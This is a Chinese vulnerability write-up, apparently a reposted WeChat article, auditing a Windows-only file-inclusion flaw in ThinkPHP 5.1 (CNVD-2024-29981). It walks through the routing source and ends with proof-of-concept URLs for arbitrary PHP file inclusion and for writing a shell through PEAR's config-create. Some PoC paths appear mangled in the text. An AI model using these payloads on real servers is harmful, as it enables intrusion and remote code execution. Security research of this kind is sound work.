Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

声明:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

Thinkphp5.1.0-Thinkphp5.1.*文件包含漏洞 (CNVD-2024-29981)  

time 4.24

测试版本:thinkphp 5.1.41

php: 7.3.4

影响范围:thinkphp5.1.0–thinkphp5.1.* (windows): linux无法利用

漏洞利用poc: index.php?s=….你要包含的路径/index/index

pear进行命令执行poc :

/index.php?s=……Extensionsphpphp7.3.4ntspear&+config-create+/+1.php

调用堆栈:    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)


一.Thinkphp文件包含:  

在Thinkphp5中路由可以使用一下两种方式都可以访问到执行的方法中如:


http://127.0.0.1/index.php/index/index/hello

http://127.0.0.1/index.php?s=index/index/hello

简单一点来说其实就是对应的 模块/控制器/方法

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)    

1.1: Thinkphp5.1.41审计过程  

首先需要触发路由

http://127.0.0.1/index.php?s=index/index/hello

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

进入run方法,    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)走到405行routeCheck方法,根据注释也可以看出来是进行路由检测接着往下看,    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)600行path方法,

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

上面执行到了pathinfo,名字可以看出来就是路径信息的意思,下面是具体代码。  

   public function pathinfo(){        if (is_null($this->pathinfo)) {            if (isset($_GET[$this->config['var_pathinfo']])) {                // 判断URL里面是否有兼容模式参数                $pathinfo = $_GET[$this->config['var_pathinfo']];                unset($_GET[$this->config['var_pathinfo']]);                unset($this->get[$this->config['var_pathinfo']]);            } elseif ($this->isCli()) {                // CLI模式下 index.php module/controller/action/params/...                $pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';            } elseif ('cli-server' == PHP_SAPI) {                $pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');            } elseif ($this->server('PATH_INFO')) {                $pathinfo = $this->server('PATH_INFO');            }
// 分析PATHINFO信息 if (!isset($pathinfo)) { foreach ($this->config['pathinfo_fetch'] as $type) { if ($this->server($type)) { $pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ? substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type); break; } } }
if (!empty($pathinfo)) { unset($this->get[$pathinfo], $this->request[$pathinfo]); }
$this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/'); }
return $this->pathinfo; }
 //关键点看下面的代码if (isset($_GET[$this->config['var_pathinfo']])) {                $pathinfo = $_GET[$this->config['var_pathinfo']];                unset($_GET[$this->config['var_pathinfo']]);                unset($this->get[$this->config['var_pathinfo']]);  其中$this->config['var_pathinfo']是s参数也就是说获取了s的参数,并且销毁了GET传入的s,和当前类的$this->get[s]的内容返回值是$pathinfo就是我们s传的内容。  好了再回到path,会走到if里面其中也就是匹配我们传的参数有没有.html,意义不大。$this->path = preg_replace('/.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);

上面就是获取url参数,routeCheck并没有结束

606行 $dispatch = $this->route->check($path, $must); 这个没什么太多必要进去看,写的又臭又烂,关键点就是执行thinkroutedispatchurl类在就是把/替换成|。下面是执行过程截图。

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

然后就直接return了,在看看init方法做了什么。

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

parseUrl方法是把路由进行分割成数组,    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

    public function parseUrlPath($url){        // 分隔符替换 确保路由定义使用统一的分隔符        $url = str_replace('|', '/', $url);        $url = trim($url, '/');        $var = [];
if (false !== strpos($url, '?')) { // [模块/控制器/操作?]参数1=值1&参数2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模块/控制器/操作] $path = explode('/', $url); } elseif (false !== strpos($url, '=')) { // 参数1=值1&参数2=值2... $path = []; parse_str($url, $var); } else { $path = [$url]; }
return [$path, $var];

关键代码,也就是之前|在变回去了。$url = str_replace('|', '/', $url);下面就是分割成一个数组,这里是重点。elseif (strpos($url, '/')) {            // 模块            $path = explode('/', $url);

最后给到$path并且在54行$module在获取数组第一个,后面就直接return了。

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

我们返回去看25行可以看到返回的时候new了一个类,并且执行了Module类的init方法跟进去。    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)至此到现在$this->dispatch都是我们能控制的,但是可以看到再次把/进行分割成数组了,所以/算是pass了,然后我们往下看,$result[0]也就是数组第一个给到$module。

if ($this->rule->getConfig('app_multi_module')) {  // 多模块部署  $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));  $bind      = $this->rule->getRouter()->getBind();  $available = false;
if ($bind && preg_match('/^[a-z]/is', $bind)) { // 绑定模块 list($bindModule) = explode('/', $bind); if (empty($result[0])) { $module = $bindModule; } $available = true; } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) { $available = true;

关键点也是重点,is_dir再熟悉不过了$this->app->getAppPath() 具体输出一下就可以路径了看到了D://绝对路径/application/,主要看$module上面提到了这个是我们可控制的呀,但是限制了/。 } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {    $available = true;

$available变量为false,先让他为true,看到50行的时候是可以让$available变量为true,但是存在一个if,第一个条件是不为数组这个可以直接过了,因为在38行的时候他已经不是数组了,第2个条件是获取目录再加上$module变量其中$module变量是可以控制的,也就是说判断是否是一个真实存在的路径$this->app->getAppPath() 路径地址是 D://绝对路径/application/$module,那么大致思路就清晰了,默认情况下application存在 index extra,上面说到/已经用不了了因为他进行了2次分割成了数组,但是可以通过..跳目录,这样..就在一个value中不会进行分割,这也是为什么linux系统无法利用的原因,可以看下图上面也有分析到。    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)例如 ….aa/bb/cc 分割成数组,但是..并没有进行分割,在执行到parseUrl方法54行array_shift($path) 获取第一个数组也就是….aa,60行的时候获取到了bb,所以这块就绕过了,然后我们思路再次回到 Module类,49行使用..就可以走到true, 后面的57行if就可以就下去在走到60行的app类里面的init方法。

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)可以看到323行遍历循环了一个参数$files,$files是从$module过来的,$module是我们的….aa,321行获取了目录下面所有文件放到数组里面进行循环,在获取文件扩展名进行强比较,$this->configExt是php,所以在根目录下面创建目录,目录里面创建一个文件1.php 内容 /index.php?s=…………..admin/user/name 其中admin是目录,user和name随便写,然后再去看load方法

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)也就是看文件是否存在,再去loadFile方法,    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)查看扩展名是否是php,然后直接包含,为什么linux不能利用是因为linux不支持..

1.2: 漏洞利用  

Version: thinkphp5.1.35

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

thinkphp目录 D:phpStudyWWWthinkphp5public,在D盘根目录创建一个文件夹,下面存放1.php,            
内容phpinfo();            
           
POC: index.php?s=……..thinkphp5.1/xinyi/xinyi            

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)    

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

1.3: 命令执行(pear写shell)  

POC:            
/index.php?s=……Extensionsphpphp7.3.4ntspear&+config-create+/+1.php            

Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)    


微信公众号用不习惯格式可能会有部分错误,公众号回复: think5.1

(pdf)

原文始发于微信公众号(Sleep sec):Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981)

版权声明:admin 发表于 2024年9月24日 下午11:16。
转载请注明:Thinkphp5.1.0-Thinkphp5.1. 文件包含漏洞(CNVD-2024-29981) | CTF导航

相关文章